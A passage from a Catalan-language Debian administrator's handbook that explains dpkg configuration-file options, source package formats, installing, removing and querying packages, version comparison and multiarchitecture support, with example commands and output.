dpkg gestiona les actualitzacions dels fitxers de configuració però, mentre ho fa, interromp regularment el seu treball per demanar informació a l'administrador. Això fa que sigui menys agradable per a aquells que volen fer actualitzacions de manera no interactiva. Per això aquest programa ofereix opcions que permeten que el sistema respongui automàticament d'acord amb la mateixa lògica: --force-confold conserva la versió antiga del fitxer; --force-confnew utilitzarà la nova versió del fitxer (aquestes opcions es respecten, fins i tot si l'administrador no ha canviat el fitxer, i que rarament té l'efecte desitjat). Afegir l'opció --force-confdef indica a dpkg que decideixi per si mateix quan sigui possible (en altres paraules, quan no s'ha tocat el fitxer de configuració original), i només utilitzi --force-confnew o --force-confold per als altres casos.

Aquestes opcions s'apliquen a dpkg i s'expliquen en detall a dpkg(1) o dpkg --force-help, però la majoria de les vegades l'administrador treballarà directament amb els programes aptitude o apt. Per tant, és necessari conèixer la sintaxi utilitzada per indicar les opcions a passar a l'ordre dpkg (les seves interfícies de línia d'ordres són molt similars).

# apt -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" full-upgrade

Aquestes opcions també es poden emmagatzemar directament a la configuració d'apt. Per fer-ho, simplement escriviu les següents línies al fitxer /etc/apt.conf.d/local:

Dpkg::Options { "--force-confdef"; "--force-confold"; }

Incloent aquesta opció al fitxer de configuració implica que també s'utilitzarà en una interfície gràfica com ara aptitude.

Sovint el fitxer de control conté també altres fitxers, com triggers, shlibs, o symbols. Aquests fitxers estan ben explicats a deb-triggers(5), deb-shlibs(5), i deb-symbols(5).

Es van introduir els activadors («triggers» en anglès) per reduir la quantitat d'esdeveniments duplicats durant la instal·lació de paquets, com ara el registre de fitxers o tasques d'actualització de catàleg o bases de dades. Els paquets poden definir els seus propis activadors o activar-ne altres ja definits. Es pot trobar una documentació més completa a /usr/share/doc/dpkg/triggers.txt.gz.

El sistema shlibs és una alternativa més antiga i senzilla al sistema de symbols per declarar les dependències de biblioteques compartides. Defineix el nom i la versió del paquet en què es troba una versió específica de SONAME d'una biblioteca compartida. El nou sistema de symbols permet definir la dependència seguint els símbols i quan aquests han estat introduïts o canviats a la biblioteca.

5.3. Estructura d'un paquet font

5.3.1. Format

Un paquet font normalment està compost per tres fitxers, un .dsc, un .orig.tar.gz, i un .debian.tar.xz (o .diff.gz). Permeten la creació de paquets binaris (.deb fitxers descrits anteriorment) a partir dels fitxers de codi font del programa, que estan escrits en un llenguatge de programació.

El fitxer .dsc (control de font Debian o «Debian Source Control») és un fitxer curt de text que conté una capçalera RFC 2822 (igual que el fitxer control estudiat a Secció 5.2.1, «Descripció: l'arxiu control») que descriu el paquet font i indica quins altres fitxers formen part d'aquest. Està signat pel seu mantenidor, que garanteix l'autenticitat. Vegeu Secció 6.6, «Comprovació de l'autenticitat d'un paquet» per a més detalls sobre aquest tema.

Exemple 5.1. Un arxiu .dsc

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Format: 3.0 (quilt) Source: zim Binary: zim Architecture: all Version: 0.73.5-1 Maintainer: Zim Package Maintainers <zim@packages.debian.org> Uploaders: Raphaël Hertzog <hertzog@debian.org> Homepage: https://zim-wiki.org Standards-Version: 4.5.1 Vcs-Browser: https://salsa.debian.org/debian/zim Vcs-Git: https://salsa.debian.org/debian/zim.git Build-Depends: debhelper-compat (= 13), python3, python3-gi, python3-xdg, gir1.2-gtk-3.0, dh-python Package-List: zim deb x11 optional arch=all Checksums-Sha1: 80d43d5c1c6a47c695079eb02bc8ad36b84d6e57 2159901 zim_0.73.5.orig.tar.gz b1cd86dc4819a80126efbf6ee6eba17a33f451d3 10124 zim_0.73.5-1.debian.tar.xz Checksums-Sha256: a36f15d92c3994c0d55b07f83253b3d8b826beb3714865edbabc14f1cc91d63a 2159901 zim_0.73.5.orig.tar.gz 6c2db642d9ac1c2440ed08e0cd584006045b342b255f37ffe42bd5459fb5cb76 10124 zim_0.73.5-1.debian.tar.xz Files: fa76ceb8ac7d7354fb0e2bc5607e9faa 2159901 zim_0.73.5.orig.tar.gz a0c824d979efb196cde0176d3cb9c719 10124 zim_0.73.5-1.debian.tar.xz -----BEGIN PGP SIGNATURE----- Comment: Signed by Raphael Hertzog iQEzBAEBCgAdFiEE1823g1EQnhJ1LsbSA4gdq+vCmrkFAmAa3ooACgkQA4gdq+vC mrkq1gf/cs7irmbCSDrADVqsqYBrFJ1FyprE3jiHLNs0OQLryhFj9tzDuilX35VE HkCfxSaKkzgvQLYtpuw1VBfhOdngTdHO39U6eljkaScnfLWU8Z5n/q+YeedxItoY X3TtzMexFmb4WJqlylfjbXeqbLdYvsILQ3NVnE48AzkaBQlCC2d9bqecZhWiKfzq gNxIDVDDhqCXMPe7QCErCBiFPUVpGN7b+6QWN0RxOTLZdj/slRD73rT++VmY+xN1 L8BSLcjXie+ES11MhQNYaLpCv2vqImlZaxkFWvsKBo9ndRFSbE3/RNK479a4KGve KrdpGUJXy9uLPuAMyn5WphwXJ7OZXQ== =YFDk -----END PGP SIGNATURE-----

Tingueu en compte que el paquet font també té dependències (Build-Depends) completament diferents de les dels paquets binaris, ja que indiquen les eines necessàries per compilar el programari en qüestió i construir el corresponent paquet binari.

COMPTE Espais de noms diferents

És important assenyalar aquí que no hi ha cap correspondència necessària entre el nom del paquet d'origen i el del o dels paquets binaris que genera. És prou fàcil d'entendre si sabeu que cada paquet font pot generar diversos paquets executables. Aquest és el motiu pel qual el fitxer .dsc té els camps Source i Binary per anomenar explícitament el paquet font i emmagatzemar la llista de paquets binaris que genera.

CULTURA Per què dividir en diversos paquets

Molt sovint, un paquet font (d'un programa determinat) pot generar diversos paquets binaris. La divisió està justificada per la possibilitat d'utilitzar (parts de) el programa en diferents contextos. Considereu una biblioteca compartida, es pot instal·lar per fer que una aplicació funcioni (per exemple, libc6), o es pot instal·lar per desenvolupar un nou programa (libc6-dev serà llavors el paquet correcte). Trobem la mateixa lògica per als serveis client/servidor on volem instal·lar la part del servidor en una màquina i la part del client en altres (aquest és el cas, per exemple, de openssh-server i openssh-client).

Amb la mateixa freqüència, la documentació es proporciona en un paquet dedicat: l'usuari pot instal·lar-la independentment del programari, i en qualsevol moment pot optar per eliminar-la per estalviar espai al disc. A més, això també estalvia espai de disc als miralls Debian, ja que el paquet de documentació es compartirà entre totes les arquitectures (en lloc de tenir la documentació duplicada en els paquets per a cada arquitectura).

PERSPECTIVA Diferents formats de paquets font

Originalment només hi havia un format de paquet font. Aquest és el format 1.0, que associa un arxiu .orig.tar.gz amb una “debianització” .diff.gz (hi ha també una variant, consistent en un sol .tar.gz, que s'utilitza automàticament si no hi ha .orig.tar.gz.

Des de Debian 6 Squeeze, els desenvolupadors de Debian tenen l'opció d'utilitzar nous formats que corregeixen molts problemes del format històric. El format 3.0 (quilt) pot combinar múltiples arxius font en el mateix paquet d'origen: a més de l'habitual .orig.tar.gz, altres .orig-component.tar.gz es poden incloure. Això és útil amb programari que es distribueix en diversos components font però per als quals es desitja tenir un únic paquet font. Aquests arxius també es poden comprimir amb xz en lloc de gzip, que estalvia espai de disc i recursos de xarxa. Finalment, el pedaç monolític .diff.gz és substituït per un arxiu .debian.tar.xz que conté les instruccions de compilació i un conjunt de pedaços aportats pel mantenidor del paquet. Aquests últims es registren en un format compatible amb quilt — una eina que facilita la gestió d'una sèrie de pedaços.

El fitxer .orig.tar.gz és un arxiu que conté el codi font tal com el proporciona el desenvolupador original. Es demana als mantenidors del paquet Debian que no modifiquin aquest arxiu per tal de poder comprovar fàcilment l'origen i la integritat del fitxer (mitjançant una simple comparació de la suma de verificació) i per respectar els desitjos d'alguns autors.

El .debian.tar.xz conté totes les modificacions fetes pel mantenidor de Debian, especialment l'addició d'un directori debian que conté les instruccions a executar per construir un o més paquets Debian binaris.

EINA Descomprimint un paquet font

Si teniu un paquet font, podeu utilitzar l'ordre dpkg-source (del paquet dpkg-dev) per descomprimir-lo:

$ dpkg-source -x zim_0.73.5-1.dsc dpkg-source: info: extracting zim in zim-0.73.5 dpkg-source: info: unpacking zim_0.73.5.orig.tar.gz dpkg-source: info: unpacking zim_0.73.5-1.debian.tar.xz

També podeu utilitzar apt per baixar un paquet font i desempaquetar-lo directament. Requereix que les línies adequades deb-src estiguin presents en el fitxer /etc/apt/sources.list, tanmateix (per a més detalls, vegeu Secció 6.1, «Omplint el fitxer sources.list»). Aquests s'utilitzen per llistar els repositoris dels paquets font (és a dir, els servidors en els quals s'allotja un grup de paquets font).

$ apt source package Reading package lists... Done NOTICE: 'zim' packaging is maintained in the 'Git' version control system at: https://salsa.debian.org/debian/zim.git Please use: git clone https://salsa.debian.org/debian/zim.git to retrieve the latest (possibly unreleased) updates to the package. Need to get 2,172 kB of source archives. Get:1 https://deb.debian.org/debian bullseye/main zim 0.73.5-1 (dsc) [1,580 B] Get:2 https://deb.debian.org/debian bullseye/main zim 0.73.5-1 (tar) [2,160 kB] Get:3 https://deb.debian.org/debian bullseye/main zim 0.73.5-1 (diff) [10.1 kB] Fetched 2,172 kB in 0s (7,176 kB/s) dpkg-source: info: extracting zim in zim-0.73.5 dpkg-source: info: unpacking zim_0.73.5.orig.tar.gz dpkg-source: info: unpacking zim_0.73.5-1.debian.tar.xz

5.3.2. Ús dins de Debian

El paquet font és la base de tot a Debian. Tots els paquets de Debian provenen d'un paquet font, i cada modificació en un paquet de Debian és la conseqüència d'una modificació feta al paquet font. Els mantenidors de Debian treballen amb el paquet de codi font, sabent, però, les conseqüències de les seves accions sobre els paquets binaris. Els fruits del seu treball es troben així en els paquets d'origen disponibles de Debian: podeu tornar fàcilment a ells i tot es deriva d'ells. Capítol 15, Creació d'un paquet Debian conté alguns exemples.

Quan arriba una nova versió d'un paquet font arriba al servidor de Debian, aquest serà utilitzat per una xarxa de màquines de diferents arquitectures per a la compilació en les diverses arquitectures suportades per Debian.

→ https://buildd.debian.org/

ANANT MÉS ENLLÀEnviament de només paquets font per part del mantenidor

Just després del llançament de Debian 10 Buster, el Release Team va anunciar que els enviaments binaris dels mantenidors ja no s'acceptaran per a main i que tots els paquets binaris d'aquest component han de ser construïts automàticament a partir dels enviaments obligatòriament només amb codi font. Mentre que els enviaments binaris encara estan permesos per als components contrib i non-free, no ens centrarem en aquesta possibilitat, ja que només hauria de ser l'excepció.

5.4. Manipulant els paquets amb dpkg

dpkg és l'ordre base per gestionar els paquets Debian al sistema. Si teniu paquets .deb, és dpkg que en permet la instal·lació o analitzar-ne el contingut. Però aquest programa només té una visió parcial de l'univers de Debian: sap el que està instal·lat al sistema, i el que se li passa a la línia de comandes, però no sap res dels altres paquets disponibles. Com a tal, fallarà si no es compleix una dependència. Eines com apt i aptitude, per contra, crearan una llista de dependències per instal·lar-ho tot el més automàticament possible.

NOTA dpkg o apt?

dpkg s'ha de veure com una eina del sistema («backend»), i apt com una eina més propera a l'usuari, que supera les limitacions de l'anterior. Aquestes eines treballen juntes, cadascuna amb les seves particularitats, adequades a tasques específiques.

5.4.1. Instal·lant paquets

dpkg és, sobretot, l'eina per instal·lar un paquet Debian ja disponible (perquè no descarrega res). Per fer-ho, utilitzem la opció -i o --install.

Exemple 5.2. Instal·lació d'un paquet amb dpkg

# dpkg -i man-db_2.9.4-2_amd64.deb (Reading database ... 227466 files and directories currently installed.) Preparing to unpack man-db_2.9.4-2_amd64.deb ... Unpacking man-db (2.9.4-2) over (2.8.5-2) ... Setting up man-db (2.9.4-2) ... Updating database of manual pages ... man-db.service is a disabled or a static unit not running, not starting it. Processing triggers for mailcap (3.69) ...

Podem veure els diferents passos realitzats per dpkg; sabem, per tant, en quin punt es pot haver produït qualsevol error. La instal·lació també es pot efectuar en dues etapes: primer desempaquetant, i després la configuració. apt s'aprofita d'això, limitant el nombre de crides a dpkg (ja que cada crida és costosa a causa de la càrrega de la base de dades a memòria, especialment la llista de fitxers ja instal·lats).

Exemple 5.3. Desempaquetat i configuració per separat

# dpkg --unpack man-db_2.9.4-2_amd64.deb (Reading database ... 227466 files and directories currently installed.) Preparing to unpack man-db_2.9.4-2_amd64.deb ... Unpacking man-db (2.9.4-2) over (2.9.4-2) ... Processing triggers for mailcap (3.69) ... # dpkg --configure man-db Setting up man-db (2.9.4-2) ... Updating database of manual pages ... man-db.service is a disabled or a static unit not running, not starting it.

De vegades dpkg fallarà a l'instal·lar un paquet i retornarà un error; si l'usuari li demana ignorar-ho, només emetrà un avís; per aquesta raó tenim les diferents opcions ---force-*. L'ordre dpkg --force-help, o documentació d'aquesta ordre, donarà una llista completa d'aquestes opcions. L'error més freqüent, que segur que trobareu tard o d'hora, és una col·lisió d'arxius. Quan un paquet conté un fitxer que ja està instal·lat per un altre paquet, dpkg es negarà a instal·lar-lo. Llavors apareixeran els següents missatges:

Unpacking libgdm (from .../libgdm_3.8.3-2_amd64.deb) ... dpkg: error processing /var/cache/apt/archives/libgdm_3.8.3-2_amd64.deb (--unpack): trying to overwrite '/usr/bin/gdmflexiserver', which is also in package gdm3 3.4.1-9

En aquest cas, si penseu que substituir aquest fitxer no és un risc significatiu per a l'estabilitat del vostre sistema (que sol ser el cas), podeu utilitzar l'opció --force-overwrite, que indica a dpkg que ignori aquest error i sobreescrigui el fitxer.

Encara que hi ha disponibles moltes opcions --force-*, és probable que només utilitzeu regularment --force-overwrite. Aquestes opcions només existeixen per a situacions excepcionals, i que rarament us hi trobareu amb Debian Stable. És millor deixar-les estar en la mesura que sigui possible per a respectar les normes imposades pel sistema de paquets. No oblideu que aquestes normes garanteixen la coherència i l'estabilitat del vostre sistema.

PRECAUCIÓ Ús efectiu de --force-*

Si no aneu amb compte, l'ús d'una opció --force-* pot conduir a un sistema on la família d'ordres APT es negarà a funcionar. En efecte, algunes d'aquestes opcions permeten la instal·lació d'un paquet quan no es compleix una dependència, o quan hi ha un conflicte. El resultat és un sistema inconsistent des del punt de vista de les dependències, i les ordres APT es negaran a executar qualsevol acció excepte aquelles que retornin el sistema a un estat consistent (això sovint consisteix a instal·lar la dependència que falta o a eliminar un paquet problemàtic). Això sovint resulta en un missatge com aquest, obtingut després d'instal·lar una nova versió de rdesktop mentre s'ignora la seva dependència d'una versió més nova de libc6:

# apt full-upgrade [...] You might want to run 'apt-get -f install' to correct these. The following packages have unmet dependencies: rdesktop: Depends: libc6 (>= 2.5) but 2.3.6.ds1-13etch7 is installed E: Unmet dependencies. Try using -f.

Un administrador valent que està segur de la correctesa de la seva anàlisi pot optar per ignorar una dependència o conflicte i utilitzar l'opció corresponent --force-*. En aquest cas, si voleu continuar utilitzant apt o aptitude, heu d'editar /var/lib/dpkg/status per eliminar/modificar la dependència, o conflicte, que es volia ignorar.

Aquesta manipulació és un fet lleig, i mai s'hauria d'utilitzar, excepte en el cas més extrem de necessitat. Molt sovint, una solució més adequada és recompilar el paquet que està causant el problema (vegeu Secció 15.1, «Recompilació d'un paquet a partir de les fonts») o utilitzar una nova versió (potencialment corregida) d'un repositori com ara stable-backports (vegeu Secció 6.1.2.4, «Retroportabilitats per a Stable»).

5.4.2. Eliminació de paquets

Invocar dpkg amb l'opció -r o --remove, seguit pel nom d'un paquet, elimina aquest paquet. Aquesta eliminació, però, no és completa: es mantenen tots els arxius de configuració, els scripts de mantenidor, els arxius de registre (registres del sistema) i altres dades d'usuari gestionats pel paquet. D'aquesta manera es pot desactivar fàcilment el programa desinstal·lant-lo, i encara és possible tornar-lo a instal·lar ràpidament amb la mateixa configuració. Per eliminar completament tot el que s'associa amb un paquet, utilitzeu l'opció -P o --purge, seguit pel nom del paquet.

Exemple 5.4. Eliminació i purga del paquet debian-cd

# dpkg -r debian-cd (Reading database ... 228705 files and directories currently installed.) Removing debian-cd (3.1.35) ... # dpkg -P debian-cd (Reading database ... 228049 files and directories currently installed.) Purging configuration files for debian-cd (3.1.35) ...

5.4.3. Consultant la base de dades de dpkg i inspeccionant arxius .deb

TORNAR A LES BASES Sintaxi d'opcions

La majoria de les opcions estan disponibles en una versió "llarga" (una o més paraules rellevants, precedides per un doble guió) i una versió "curta" (una sola lletra, sovint la inicial d'una paraula de la versió llarga, i precedida per un sol guió). Aquesta convenció és tan comuna que és un estàndard POSIX.

Abans d'acabar aquesta secció, estudiarem les opcions de dpkg que consulten la base de dades interna per obtenir-ne informació. Donant primer les opcions llargues i després les corresponents opcions curtes (que evidentment tenen els mateixos paràmetres possibles) citarem

--listfiles paquet (o -L), que llista els fitxers instal·lats per aquest paquet;

--search fitxer (o -S), que cerca els paquets que contenen el fitxer;

--status paquet (o -s), que motra les capçaleres d'un paquet instal·lat;

--list (o -l), que mostra la llista de paquets coneguts pel sistema i el seu estat d'instal·lació;

--contents fitxer.deb (o -c), que llista els fitxers continguts al paquet Debian especificat;

--info fitxer.deb (o -I), que mostra les capçaleres del paquet Debian donat.

COMPTE dpkg --search i /usr unificat

Per diverses raons, Debian ara instal·la per defecte alguns directoris de nivell superior com a enllaços simbòlics a les seves contraparts sota /usr. Per exemple, /bin, /sbin i /lib són ara enllaços simbòlics a, respectivament, /usr/bin, /usr/sbin i /usr/lib.

Encara que això proporciona beneficis desitjables, també pot ser una font de confusió. Per exemple, quan es consulta dpkg quin paquet és propietari d'un fitxer donat, només serà capaç de respondre quan es demani el seu camí original:

$ dpkg --search /bin/mount mount: /bin/mount $ dpkg --search /usr/bin/mount dpkg-query: no path found matching pattern /usr/bin/mount $ dpkg --search /bin/apt dpkg-query: no path found matching pattern /bin/apt $ dpkg --search /usr/bin/apt apt: /usr/bin/apt

Aquesta incidència està essent seguida com error #858331. Hi ha una discussió en marxa sobre si l'aproximació usada fins ara és contraproductiva.

→ https://bugs.debian.org/858331

Exemple 5.5. Diverses consultes amb dpkg

$ dpkg -L base-passwd /. /usr /usr/sbin /usr/sbin/update-passwd /usr/share /usr/share/base-passwd /usr/share/base-passwd/group.master /usr/share/base-passwd/passwd.master /usr/share/doc /usr/share/doc/base-passwd /usr/share/doc/base-passwd/README /usr/share/doc/base-passwd/changelog.gz /usr/share/doc/base-passwd/copyright /usr/share/doc/base-passwd/users-and-groups.html /usr/share/doc/base-passwd/users-and-groups.txt.gz /usr/share/doc-base /usr/share/doc-base/users-and-groups /usr/share/lintian /usr/share/lintian/overrides /usr/share/lintian/overrides/base-passwd /usr/share/man /usr/share/man/de /usr/share/man/de/man8 /usr/share/man/de/man8/update-passwd.8.gz /usr/share/man/es /usr/share/man/es/man8 /usr/share/man/es/man8/update-passwd.8.gz /usr/share/man/fr /usr/share/man/fr/man8 /usr/share/man/fr/man8/update-passwd.8.gz /usr/share/man/ja /usr/share/man/ja/man8 /usr/share/man/ja/man8/update-passwd.8.gz /usr/share/man/man8 /usr/share/man/man8/update-passwd.8.gz /usr/share/man/pl /usr/share/man/pl/man8 /usr/share/man/pl/man8/update-passwd.8.gz /usr/share/man/ru /usr/share/man/ru/man8 /usr/share/man/ru/man8/update-passwd.8.gz $ dpkg -S /bin/date coreutils: /bin/date $ dpkg -s coreutils Package: coreutils Essential: yes Status: install ok installed Priority: required Section: utils Installed-Size: 17478 Maintainer: Michael Stone <mstone@debian.org> Architecture: amd64 Multi-Arch: foreign Source: coreutils (8.32-4) Version: 8.32-4+b1 Pre-Depends: libacl1 (>= 2.2.23), libattr1 (>= 1:2.4.44), libc6 (>= 2.28), libgmp10, libselinux1 (>= 3.1~) Description: GNU core utilities This package contains the basic file, shell and text manipulation utilities which are expected to exist on every operating system. . Specifically, this package includes: arch base64 basename cat chcon chgrp chmod chown chroot cksum comm cp csplit cut date dd df dir dircolors dirname du echo env expand expr factor false flock fmt fold groups head hostid id install join link ln logname ls md5sum mkdir mkfifo mknod mktemp mv nice nl nohup nproc numfmt od paste pathchk pinky pr printenv printf ptx pwd readlink realpath rm rmdir runcon sha*sum seq shred sleep sort split stat stty sum sync tac tail tee test timeout touch tr true truncate tsort tty uname unexpand uniq unlink users vdir wc who whoami yes Homepage: http://gnu.org/software/coreutils $ dpkg -l 'b*' Desired=Unknown/Install/Remove/Purge/Hold | Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend |/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad) ||/ Name Version Architecture Description +++-==========================-==============-============-================================== un backupninja <none> <none> (no description available) un backuppc <none> <none> (no description available) ii baloo-kf5 5.78.0-3 amd64 framework for searching and manag> un balsa <none> <none> (no description available) ii baobab 3.38.0-1 amd64 GNOME disk usage analyzer un base <none> <none> (no description available) un base-config <none> <none> (no description available) ii base-files 11.1 amd64 Debian base system miscellaneous > ii base-passwd 3.5.51 amd64 Debian base system master passwor> ii bash 5.1-2+b1 amd64 GNU Bourne Again SHell [..] $ dpkg -c /var/cache/apt/archives/bash_5.1-3+b1_amd64.deb drwxr-xr-x root/root 0 2021-07-25 20:43 ./ drwxr-xr-x root/root 0 2021-07-25 20:43 ./bin/ -rwxr-xr-x root/root 1234376 2021-07-25 20:43 ./bin/bash drwxr-xr-x root/root 0 2021-07-25 20:43 ./etc/ -rw-r--r-- root/root 1994 2021-07-25 20:43 ./etc/bash.bashrc drwxr-xr-x root/root 0 2021-07-25 20:43 ./etc/skel/ -rw-r--r-- root/root 220 2021-07-25 20:43 ./etc/skel/.bash_logout -rw-r--r-- root/root 3526 2021-07-25 20:43 ./etc/skel/.bashrc -rw-r--r-- root/root 807 2021-07-25 20:43 ./etc/skel/.profile drwxr-xr-x root/root 0 2021-07-25 20:43 ./usr/ drwxr-xr-x root/root 0 2021-07-25 20:43 ./usr/bin/ -rwxr-xr-x root/root 6759 2021-07-25 20:43 ./usr/bin/bashbug -rwxr-xr-x root/root 14648 2021-07-25 20:43 ./usr/bin/clear_console drwxr-xr-x root/root 0 2021-07-25 20:43 ./usr/share/ drwxr-xr-x root/root 0 2021-07-25 20:43 ./usr/share/doc/ [..] $ dpkg -I /var/cache/apt/archives/bash_5.1-3+b1_amd64.deb new Debian package, version 2.0. size 1416600 bytes: control archive=7256 bytes. 77 bytes, 4 lines conffiles 1030 bytes, 27 lines control 4511 bytes, 64 lines md5sums 603 bytes, 31 lines * postinst #!/bin/bash 500 bytes, 25 lines * postrm #!/bin/sh 14536 bytes, 33 lines * preinst 289 bytes, 22 lines * prerm #!/bin/bash Package: bash Source: bash (5.1-3) Version: 5.1-3+b1 Architecture: amd64 Essential: yes Maintainer: Matthias Klose <doko@debian.org> Installed-Size: 6470 Pre-Depends: libc6 (>= 2.25), libtinfo6 (>= 6) Depends: base-files (>= 2.1.12), debianutils (>= 2.15) Recommends: bash-completion (>= 20060301-0) Suggests: bash-doc Conflicts: bash-completion (<< 20060301-0) Replaces: bash-completion (<< 20060301-0), bash-doc (<= 2.05-1) Section: shells Priority: required Multi-Arch: foreign Homepage: http://tiswww.case.edu/php/chet/bash/bashtop.html Description: GNU Bourne Again SHell Bash is an sh-compatible command language interpreter that executes commands read from the standard input or from a file. Bash also incorporates useful features from the Korn and C shells (ksh and csh). . Bash is ultimately intended to be a conformant implementation of the IEEE POSIX Shell and Tools specification (IEEE Working Group 1003.2). . The Programmable Completion Code, by Ian Macdonald, is now found in the bash-completion package.

ANANT MÉS ENLLÀ Comparació de versions

Com que dpkg és el programa per a gestionar paquets Debian, també proporciona la implementació de referència de la lògica de comparació dels números de versió. Aquesta és la raó per la qual té una opció --compare-versions utilitzable per programes externs (especialment els scripts de configuració executats per dpkg mateix). Aquesta opció requereix tres paràmetres: un número de versió, un operador de comparació i un segon número de versió. Els diferents operadors possibles són lt (estrictament menor que), le (menors o igual que), eq (igual), ne (no igual, diferent), ge (major que), i gt (estrictament major que). Si la comparació és correcta, dpkg retorna 0 (èxit); si no, dóna un valor de retorn diferent de zero (indicant error).

$ dpkg --compare-versions 1.2-3 gt 1.1-4 $ echo $? 0 $ dpkg --compare-versions 1.2-3 lt 1.1-4 $ echo $? 1 $ dpkg --compare-versions 2.6.0pre3-1 lt 2.6.0-1 $ echo $? 1

Cal notar la fallada inesperada de la darrera comparació: per dpkg, pre, normalment denotant una “prepublicació”, no té un significat particular, i aquest programa compara els caràcters alfabètics de la mateixa manera que els nombres (a < b < c ...), en ordre alfabètic. Aquesta és la raó per la qual considera que “0pre3” és més gran que “0”. Quan volem que el número de versió d'un paquet indiqui que és una prepublicació utilitzarem el caràcter de titlla, “~”:

$ dpkg --compare-versions 2.6.0~pre3-1 lt 2.6.0-1 $ echo $? 0

5.4.4. Arxiu de registre de dpkg

dpkg manté un registre de totes les seves accions a /var/log/dpkg.log. Aquest registre és extremadament detallat, ja que inclou cadascun dels estadis a través dels quals passen els paquets gestionats per dpkg. A més d'oferir una manera de seguir el comportament de dpkg, ajuda, sobretot, a mantenir una història del desenvolupament del sistema: es pot trobar el moment exacte en què cada paquet s'ha instal·lat o actualitzat, i aquesta informació pot ser extremadament útil per entendre un canvi recent en el comportament. A més, com totes les versions s'estan desant, és fàcil comprovar la informació amb el changelog. Debian.gz per als paquets en qüestió, o fins i tot amb informes d'errors a la xarxa.

5.4.5. Suport multiarquitectura

Tots els paquets Debian tenen un camp Architecture a la seva informació de control. Aquest camp pot contenir o bé “all” (per a paquets que són independents de l'arquitectura) o bé el nom de l'arquitectura a la qual es dirigeix (com ara "amd64", "armhf", ...). En aquest últim cas, per defecte, dpkg només acceptarà instal·lar el paquet si la seva arquitectura coincideix amb l'arquitectura de l'amfitrió tal i com es retorna amb dpkg --print-architecture.

Aquesta restricció garanteix que els usuaris no acabin amb binaris compilats per a una arquitectura incorrecta. Tot seria perfecte si no fos que hi ha (alguns) ordinadors que poden executar binaris de múltiples arquitectures, ja sigui nativament (un sistema “amd64” pot executar binaris “i386”) o a través d'emuladors.

5.4.5.1. Activant la multiarquitectura

El suport de multiarquitectura per part de dpkg permet als usuaris definir “arquitectures foranes” que es poden instal·lar al sistema actual. Això es fa simplement amb dpkg --add-architecture com en l'exemple següent. Hi ha un corresponent dpkg --remove-architectitecture per eliminar el suport d'una arquitectura forana, però només es pot utilitzar quan no queden paquets instal·lats d'aquesta arquitectura.

# dpkg --print-architecture amd64 # dpkg --print-foreign-architectures # dpkg -i gcc-8-base_8.3.0-6_armhf.deb dpkg: error processing archive gcc-8-base_8.3.0-6_armhf.deb (--install): package architecture (armhf) does not match system (amd64) Errors were encountered while processing: gcc-8-base_8.3.0-6_armhf.deb # dpkg --add-architecture armhf # dpkg --add-architecture armel # dpkg --print-foreign-architectures armhf armel # dpkg -i gcc-8-base_8.3.0-6_armhf.deb (Reading database ... 14319 files and directories currently installed.) Preparing to unpack gcc-8-base_8.3.0-6_armhf.deb ... Unpacking gcc-8-base:armhf (8.3.0-6) ... Setting up gcc-8-base:armhf (8.3.0-6) ... # dpkg --remove-architecture armhf dpkg: error: cannot remove architecture 'armhf' currently in use by the database # dpkg --remove-architecture armel # dpkg --print-foreign-architectures armhf

NOTA Suport multiarquitectura d'APT

APT detectarà automàticament quan el dpkg hagi estat configurat per a donar suport a arquitectures foranes i començarà a baixar els corresponents fitxers Packages durant el procés d'actualització.

Els paquets foranis es poden instal·lar amb apt install paquet:arquitectura.

A LA PRÀCTICA Usant binaris i386 propietaris en amd64

Hi ha múltiples casos d'ús per a multiarquitectura, però els més populars són la possibilitat d'executar binaris (de vegades propietaris) de 32 bits (i386) en sistemes de 64 bits (amd64), i la possibilitat de compilar programari per a una plataforma o una arquitectura diferent de la de l'amfitrió.

5.4.5.2. Canvis relacionats amb la multiarquitectura

Per fer que la multiarquitectura sigui realment usable i útil, les llibreries s'havien de tornar a empaquetar i moure a un directori específic per a l'arquitectura de manera que es puguin instal·lar múltiples còpies (destinades a diferents arquitectures). Aquests paquets actualitzats contenen el camp de capçalera “Multi-Arch: same” per indicar al sistema de paquets que les diverses arquitectures del paquet poden ser coinstal·lades de manera segura (i que aquests paquets només poden satisfer les dependències dels paquets de la mateixa arquitectura). Les llibreries més importants han estat convertides des de la introducció de la multiarquitectura a Debian 7 Wheezy, però hi ha moltes biblioteques que probablement mai seran convertides llevat que algú ho sol·liciti específicament (a través d'un informe d'error, per exemple).

$ dpkg -s gcc-9-base dpkg-query: error: --status needs a valid package name but 'gcc-9-base' is not: ambiguous package name 'gcc-9-base' with more than one installed instance Use --help for help about querying packages. $ dpkg -s gcc-9-base:amd64 gcc-9-base:armhf | grep ^Multi Multi-Arch: same Multi-Arch: same $ dpkg -L libgcc-s1:amd64 |grep .so /lib/x86_64-linux-gnu/libgcc_s.so.1 $ dpkg -S /usr/share/doc/gcc-9-base/copyright gcc-9-base:amd64, gcc-9-base:armhf: /usr/share/doc/gcc-9-base/copyright

Val la pena assenyalar que els paquets Multi-Arch: same han de tenir els seus noms qualificats amb la seva arquitectura per ser inequívocament identificables. També tenen la possibilitat de compartir fitxers amb altres instàncies del mateix paquet; dpkg assegura que tots els paquets tenen fitxers idèntics bit a bit quan es comparteixen. Finalment, però no menys important, totes les instàncies d'un paquet han de tenir la mateixa versió. Per tant, han d'actualitzar-se alhora.

El suport multiarquitectura també comporta alguns reptes interessants en la manera en què es gestionen les dependències. La satisfacció d'una dependència requereix o bé un paquet marcat “Multi-Arch: foreign” o un paquet l'arquitectura del qual coincideixi amb la del paquet que declara la dependència (en aquest procés de resolució de dependències s'assumeix que els paquets independents de l'arquitectura són de la mateixa arquitectura que l'amfitrió). Una dependència també es pot rellaxar per permetre qualsevol arquitectura per complir-la, amb la sintaxi paquet:any, però els paquets foranis només poden satisfer aquesta dependència si estan marcats “Multi-Arch: allowed”.

5.5. Coexistència amb altres sistemes de paquets

Els paquets Debian no són els únics paquets de programari que s'utilitzen al món del programari lliure. El principal competidor és el format RPM de la distribució Red Hat Linux i dels seus molts derivats. Red Hat és una distribució comercial molt popular. Per tant, és comú que el programari proporcionat per tercers s'ofereixi com a paquets RPM en lloc de Debian.

